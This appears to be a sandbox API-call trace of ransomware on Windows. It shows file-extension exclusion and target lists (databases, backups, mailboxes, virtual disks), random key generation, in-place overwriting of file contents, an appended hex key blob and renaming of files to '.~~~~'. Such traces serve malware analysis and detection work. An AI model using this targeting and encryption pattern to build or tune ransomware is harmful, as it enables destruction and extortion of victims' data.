	[0143.527] lstrlenW (lpString=".dbt") returned 4
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".dbt") returned 0x0
	[0143.527] lstrlenW (lpString=".db") returned 3
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".db") returned 0x0
	[0143.527] lstrlenW (lpString=".TXT") returned 4
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".TXT") returned 0x0
	[0143.527] lstrlenW (lpString=".MDF") returned 4
	[0143.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".MDF") returned 0x0
	[0143.528] lstrlenW (lpString=".bdb") returned 4
	[0143.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".bdb") returned 0x0
	[0143.528] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0143.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.528] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0143.529] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.529] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0143.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0143.529] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26351953148) returned 1
	[0143.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbef5a650, dwHighDateTime=0x1d60e1e)) 
	[0143.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0143.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0143.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0143.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809f40
	[0143.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809f40 | out: hHeap=0x300000) returned 1
	[0143.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab4b0
	[0143.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab4b0 | out: hHeap=0x300000) returned 1
	[0143.530] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0143.531] GetLastError () returned 0x0
	[0143.531] GetLastError () returned 0x0
	[0143.531] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0143.531] GetLastError () returned 0x0
	[0143.531] GetLastError () returned 0x0
	[0143.531] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x2fc2, lpOverlapped=0x0) returned 1
	[0143.533] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd03e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.534] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x2fc2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x2fc2, lpOverlapped=0x0) returned 1
	[0143.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.534] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.534] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.534] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.534] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.534] CloseHandle (hObject=0x10c) returned 1
	[0143.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab4b0
	[0143.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif.~~~~")) returned 1
	[0143.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab4b0 | out: hHeap=0x300000) returned 1
	[0143.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0143.537] GetLastError () returned 0x0
	[0143.537] RtlWakeConditionVariable () returned 0x0
	[0143.537] GetCurrentThreadId () returned 0x3a4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".scr") returned 0x0
	[0143.538] lstrlenW (lpString=".cmd") returned 4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".cmd") returned 0x0
	[0143.538] lstrlenW (lpString=".dll") returned 4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".dll") returned 0x0
	[0143.538] lstrlenW (lpString=".bat") returned 4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".bat") returned 0x0
	[0143.538] lstrlenW (lpString=".cpl") returned 4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".cpl") returned 0x0
	[0143.538] lstrlenW (lpString=".sys") returned 4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".sys") returned 0x0
	[0143.538] lstrlenW (lpString=".msc") returned 4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".msc") returned 0x0
	[0143.538] lstrlenW (lpString=".com") returned 4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".com") returned 0x0
	[0143.538] lstrlenW (lpString=".lnk") returned 4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".lnk") returned 0x0
	[0143.538] lstrlenW (lpString=".msp") returned 4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".msp") returned 0x0
	[0143.538] lstrlenW (lpString=".pif") returned 4
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".pif") returned 0x0
	[0143.538] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0143.541] lstrlenW (lpString=".sqb") returned 4
	[0143.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".sqb") returned 0x0
	[0143.541] lstrlenW (lpString=".ost") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".ost") returned 0x0
	[0143.542] lstrlenW (lpString=".txt") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".txt") returned 0x0
	[0143.542] lstrlenW (lpString=".mdt") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".mdt") returned 0x0
	[0143.542] lstrlenW (lpString=".BDB") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".BDB") returned 0x0
	[0143.542] lstrlenW (lpString=".eql") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".eql") returned 0x0
	[0143.542] lstrlenW (lpString=".DBF") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".DBF") returned 0x0
	[0143.542] lstrlenW (lpString=".EQL") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".EQL") returned 0x0
	[0143.542] lstrlenW (lpString=".FDB") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".FDB") returned 0x0
	[0143.542] lstrlenW (lpString=".EDB") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".EDB") returned 0x0
	[0143.542] lstrlenW (lpString=".DACPAC") returned 7
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.542] lstrlenW (lpString=".VHD") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".VHD") returned 0x0
	[0143.542] lstrlenW (lpString=".DBV") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".DBV") returned 0x0
	[0143.542] lstrlenW (lpString=".dacpac") returned 7
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.542] lstrlenW (lpString=".sdf") returned 4
	[0143.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".sdf") returned 0x0
	[0143.543] lstrlenW (lpString=".accdb") returned 6
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".accdb") returned 0x0
	[0143.543] lstrlenW (lpString=".DBX") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".DBX") returned 0x0
	[0143.543] lstrlenW (lpString=".MDT") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".MDT") returned 0x0
	[0143.543] lstrlenW (lpString=".SQB") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".SQB") returned 0x0
	[0143.543] lstrlenW (lpString=".vhd") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".vhd") returned 0x0
	[0143.543] lstrlenW (lpString=".bac") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".bac") returned 0x0
	[0143.543] lstrlenW (lpString=".mdf") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".mdf") returned 0x0
	[0143.543] lstrlenW (lpString=".BAK") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".BAK") returned 0x0
	[0143.543] lstrlenW (lpString=".BAC") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".BAC") returned 0x0
	[0143.543] lstrlenW (lpString=".dbs") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".dbs") returned 0x0
	[0143.543] lstrlenW (lpString=".vhdx") returned 5
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.543] lstrlenW (lpString=".NDF") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".NDF") returned 0x0
	[0143.543] lstrlenW (lpString=".dat") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".dat") returned 0x0
	[0143.543] lstrlenW (lpString=".DBS") returned 4
	[0143.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".DBS") returned 0x0
	[0143.544] lstrlenW (lpString=".CKP") returned 4
	[0143.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".CKP") returned 0x0
	[0143.544] lstrlenW (lpString=".edb") returned 4
	[0143.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".edb") returned 0x0
	[0143.544] lstrlenW (lpString=".PST") returned 4
	[0143.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".PST") returned 0x0
	[0143.544] lstrlenW (lpString=".dbf") returned 4
	[0143.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".dbf") returned 0x0
	[0143.544] lstrlenW (lpString=".SQL") returned 4
	[0143.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".SQL") returned 0x0
	[0143.544] lstrlenW (lpString=".pst") returned 4
	[0143.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".pst") returned 0x0
	[0143.544] lstrlenW (lpString=".dbv") returned 4
	[0143.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".dbv") returned 0x0
	[0143.544] lstrlenW (lpString=".SDF") returned 4
	[0143.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".SDF") returned 0x0
	[0143.544] lstrlenW (lpString=".dtxs") returned 5
	[0143.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.545] lstrlenW (lpString=".db3") returned 4
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".db3") returned 0x0
	[0143.545] lstrlenW (lpString=".OST") returned 4
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".OST") returned 0x0
	[0143.545] lstrlenW (lpString=".dbx") returned 4
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".dbx") returned 0x0
	[0143.545] lstrlenW (lpString=".DB3") returned 4
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".DB3") returned 0x0
	[0143.545] lstrlenW (lpString=".DAT") returned 4
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".DAT") returned 0x0
	[0143.545] lstrlenW (lpString=".VHDX") returned 5
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.545] lstrlenW (lpString=".ndf") returned 4
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".ndf") returned 0x0
	[0143.545] lstrlenW (lpString=".DB") returned 3
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".DB") returned 0x0
	[0143.545] lstrlenW (lpString=".sql") returned 4
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".sql") returned 0x0
	[0143.545] lstrlenW (lpString=".MYD") returned 4
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".MYD") returned 0x0
	[0143.545] lstrlenW (lpString=".DBT") returned 4
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".DBT") returned 0x0
	[0143.545] lstrlenW (lpString=".ACCDB") returned 6
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.545] lstrlenW (lpString=".fdb") returned 4
	[0143.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".fdb") returned 0x0
	[0143.545] lstrlenW (lpString=".bak") returned 4
	[0143.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".bak") returned 0x0
	[0143.546] lstrlenW (lpString=".myd") returned 4
	[0143.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".myd") returned 0x0
	[0143.546] lstrlenW (lpString=".DTXS") returned 5
	[0143.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.546] lstrlenW (lpString=".ckp") returned 4
	[0143.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".ckp") returned 0x0
	[0143.546] lstrlenW (lpString=".dbt") returned 4
	[0143.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".dbt") returned 0x0
	[0143.546] lstrlenW (lpString=".db") returned 3
	[0143.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".db") returned 0x0
	[0143.546] lstrlenW (lpString=".TXT") returned 4
	[0143.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".TXT") returned 0x0
	[0143.546] lstrlenW (lpString=".MDF") returned 4
	[0143.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".MDF") returned 0x0
	[0143.546] lstrlenW (lpString=".bdb") returned 4
	[0143.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".bdb") returned 0x0
	[0143.546] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0143.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.546] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0143.548] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.548] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0143.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0143.548] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26353817362) returned 1
	[0143.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbef807b0, dwHighDateTime=0x1d60e1e)) 
	[0143.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0143.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0143.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0143.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809f08
	[0143.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809f08 | out: hHeap=0x300000) returned 1
	[0143.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab750
	[0143.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab750 | out: hHeap=0x300000) returned 1
